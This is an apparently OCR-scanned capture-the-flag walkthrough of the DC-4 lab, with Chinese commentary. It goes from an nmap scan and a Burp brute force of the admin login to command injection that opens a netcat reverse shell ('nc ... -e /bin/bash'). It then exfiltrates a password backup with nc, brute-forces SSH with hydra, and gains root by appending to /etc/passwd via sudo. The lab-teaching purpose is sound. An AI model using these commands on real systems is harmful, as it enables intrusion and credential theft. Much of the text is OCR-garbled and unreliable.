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DESCRIPTION
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically,
multiple entry points and just like last time, no clues.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAUY for assistance to get you going
again. But take note: Iwon’'t give you the answer, instead, I'll give you an idea about how to move forward.
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192.168.190.0/24
Starting Nmap 7.91 { https://nmap.org ) at 2021-@9-26 14:27 CST
Nmap scan report for 192.168.1998.1
Host is up (©.00011s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.199.2
Host is up (©.00012s latency).
MAC Address: @@:50:56:F7:58:74 (VMware)
Nmap scan report for 192.168.190.139
Host is up (©.00014s latency).
MAC Address: @@:@C:29:B3:F5:3B (VMware)
Nmap scan report for 192.168.190.254
Host is up (©.00018s latency).
MAC Address: @@:50:56:ED:C5:B4 (VMware)
Nmap scan report for 192.168.190.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.18CE§EHHd@?T%'Fq

KRIVEEHLIP: 192.168.190.139, 4k&:HH#

ZiR:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-26 14:27 CST
NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 14:27

Completed NSE at 14:27, 0.00s elapsed

Initiating NSE at 14:27

Completed NSE at 14:27, 0.00s elapsed

Initiating NSE at 14:27

Completed NSE at 14:27, 0.00s elapsed

Initiating ARP Ping Scan at 14:27

Scanning 192.168.190.139 [1 port]

Completed ARP Ping Scan at 14:27, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:27

Completed Parallel DNS resolution of 1 host. at 14:27, 0.00s elapsed
Initiating SYN Stealth Scan at 14:27

Scanning 192.168.190.139 [65535 ports]

Discovered open port 80/tcp on 192.168.190.139

Discovered open port 22/tcp on 192.168.190.139

Completed SYN Stealth Scan at 14:27, 1.00s elapsed (65535 total ports)
Initiating Service scan at 14:27

Scanning 2 services on 192.168.190.139

Completed Service scan at 14:27, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.190.139

NSE: Script scanning 192.168.190.139.

Initiating NSE at 14:27

Completed NSE at 14:27, 0.11s elapsed

Initiating NSE at 14:27

Completed NSE at 14:27, 0.00s elapsed

Initiating NSE at 14:27

Completed NSE at 14:27, 0.00s elapsed

Nmap scan report for 192.168.190.139

Host is up (0.00045s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4pl Debian 10+deb9u6 (protocol 2.9)
| ssh-hostkey:




| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
| 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10

| http-methods:

| Supported Methods: GET HEAD POST

| _http-server-header: nginx/1.15.10

| _http-title: System Tools

MAC Address: 00:0C:29:B3:F5:3B (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

O0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.9

Uptime guess: 198.838 days (since Thu Mar 11 18:21:01 2021)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=256 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.45 ms 192.168.190.139

NSE: Script Post-scanning.
Initiating NSE at 14:27
Completed NSE at 14:27, 0.00s elapsed
Initiating NSE at 14:27
Completed NSE at 14:27, 0.00s elapsed
Initiating NSE at 14:27
Completed NSE at 14:27, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
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Admin Information Systems Login

Username:
|adnﬂn |

Password:
|..... |

| Submit |
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A # Fburpsuite it 1Tweb/B 8, RIERZ 2B &admin, TEER P £Zadmin, JoiBB %G

EY intruder attack 3 — O it l

Attack Save Columns .

_[ Results ITarget T Positions I Payloads T Options }

Filter: Showing all items EJI
Request | Payload |Status | Emor | Timeout | Length ¥ | Comment I
745 happy 302 O O 718 Al
2179 happy 302 O O 718 ‘
0 302 J O 557
1 Sanull% 302 ] O] BT
2 1zh7288 302 J O 557
3 Izh-7288 302 ] O] BT
4 Y%usernameY 302 J [] &57
5 I@#3 302 J O 557
6 I@#5% 302 ] O] BT ‘
7 I@#5%" 302 O (] s&7 r ‘
j Request T Response ] |
jRaw T Params I Headers T Hex } |
POST /login. php HTTP/1.1 :'
Host: 192. 168, 190. 139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: =64 rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html, application/zhtml+xml, application/zml: q=0.9, image/webp, */*: q=0. 8
fccept-Language: zh-CHN, zh;g=0. 8, zh-TW; q=0. 7, zh-HE: ¢=0. 5, en-US3; g=0. 3, en: ¢=0. 2
Content-Type: application/z-www-formurlencoded
Content-Length: 29
Origin: http://192. 168. 190. 139
Comnection: close
Referer: http://192. 168. 190. 139/
Uperade-Insecure-Requests: 1
username=admingpassword=happy
-
b
? < + > | | Type a search term 0 matches
3986 0f 27222 ] ESbh@ErEn)

BB R MladminZ ihappy

fFHadmin& %5, RIwebidft T HAT L HITIEE, TEPITH BT posteHiiLiE



System Tools - Command X + = O =

« = C O 8 192.168.190.139/command.php 20 W e 1 % i' =

You are currently logged in

Run Command:
@ List Files

(O Disk Usage
O Disk Free

You have selected: Is -

total 24

—rw—r—r— 1 root root command. php
drwxr—xr—x 2 root root ces
drwxr—xr—x 2 root root images
—rw-r—r— 1 root root index. php
—rw-r—r— 1 root root login. php
—rw-r—r— 1 root root logout. php

Return to the menu.

O O=== Oass DR fAs ((etsss QO Onr 0ok § TSRS 33 8EF @ HackBar ) Max HacKBar 01 [ - X
W s kL I Q ® H& HML Cs5 U5 XHR Tk B mE ows He  [J=@sy PR I
= HiE S o HEE f===i) =1 Fe Bl &2 Cookie EH WM FEAT

B 1921681 html T EEREs
[ 202] GET 4192168190 faviconico FaviconLoader... html  BSEEF 154 | BREE =i

radio: "ls+-I*

submit "Run”

oM @A O
O 245k DEW116KB/128KE =i 23T | DOMContentloaded: 166 | load: 20 Zip CSDN @&

f# AnclEl#shell, kalifhT
hc lvp4sad

{§ Flhackbark i%postZ#f radio=nc 192.168.190.129 4444 -e /bin/bash&submit=Run , K78 FHshell

192.168.190.139 =, ~
O O OEsls DEE N As ((aasss O Orr B e T TEsis 358 WFES @ HackBar ) Max HacKBar 4] =+ X
Encryption ~ Encoding ~ SQL ~ XSS5~ Other ~ Contribute now! HackBar v2
@loadURL | hitp/192.168.190.139/command.php
Split URL
& 4
Execut
e Postdata [ Referer [J User Agent [J] Cookies Clear All
radio=nc 192.165.190.129 4444 -e /bin/bash&submit=Run
4
CSDN @& F
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python -c 'import pty; pty.spawn("/bin/bash")’

export TERM=xterm

0x04 $&

#E/etclpasswd, KIJLMAF, Xhome TEE, RAmTHFEEIXMH, backups A —old-passwds.bak X, mbox3C 76
BUBR, test.shift F ik

{8 Finc#k Blold-passwds.bak 3. 44

nc -nvlp 5555 > old-passwords.bak

nc 192.168.141.134 5555 < /home/jim/backups/old-passwords.bak

SR J5 5 F old-passwords.bak ST jimidk 47 1 %

hydra -1 jim -P old-passwords.bak -vV 192.168.190.139

PR R THAS B Y .

of 257 [child 15]

19 of [child 1

of ild 6] (¢
hild 5]
[child 10]

[-TRT]

[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[22]1[ssh] hos
[STATUS] ack finished f ng for children to complete tests)

1 of 1 tars successfull leted, ssword found

[WARNING] ing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 t: resolve or could not be connected
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shauser-thc/thc-hydra) finished at 2021-09-26 16:01:{ESDN

jim@idc-4: fusr/share/nginx/html$ cd
cd
Jjimgdc-

LS

mbox test.sh
Jjimgdc- $ cat mbox
cat mbo

<roo
jim@dc
5at, @6 Ap
m root by d
ot@dc—
-EC
26 Apr 2919 2@: @4 #1000

To: jimpdc-4
Subject:

TR —ANER:, 7ENvar/mail/jim & BE BB P 25 -



jim@dc-4:~% cat /var/mail/jim
cat /var/mail/jim
From charles@dc-4 Sat Apr @6 21:15:46 2019
Return-path: <charles@pdc-4>
Envelope-to: jim@gdc-4&
Delivery-date: Sat, @6 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim &4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-@@0ako-0t
for jim@dc-4; Sat, @6 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.8
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-@800k0-Qtadc-4>
From: Charles <charlespdc-4>
Date: Sat, @6 Apr 2019 21:15:45 +1@0@
Status: O

Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything
goes wrong.

Password is: “xHhAGhvim@y

See ya,
Charles

jimpdc-4:~% CSDN @\ﬁﬂ

B3| charlesZ 15
% Fcharles, 4T sudo -1 KPlcharlyr] LLiiiTteehee, T LUK v A\ & ) B A T B9 SC b

B2 — A root B R [ Ik 5

sudo teehee -a /etc/passwd

fE/root/ T # Flflag

# 1s /root/

1s /root/

flag.txt

# cat /root/flag.txt
cat /root/flag.txt

888 888 888 8888888b. 888
888 o 888 888 888 "Y88b 888
888 d8b 888 888 888 888 888
888 dBs8b 888 .d8Bb. 888 888 888 .d88b. 88888b. .d88b. 888
888d88888b8EE d&P YEBb 888 888 888 d88""88b 888 "88b d8P YBb 888
SB8888P Y8BB8E8B BB8BBBEEE 888 888 888 B88 888 888 588 88588888 YEP
8888P Y8888 Y8b. 888 888 .dB88P Y88 ..88P 888 888 Y&8b. "

888P Y888 "YB8888 888 8888888P" "Y88P" 888 888 "Y8Z88 888

Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those

who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.
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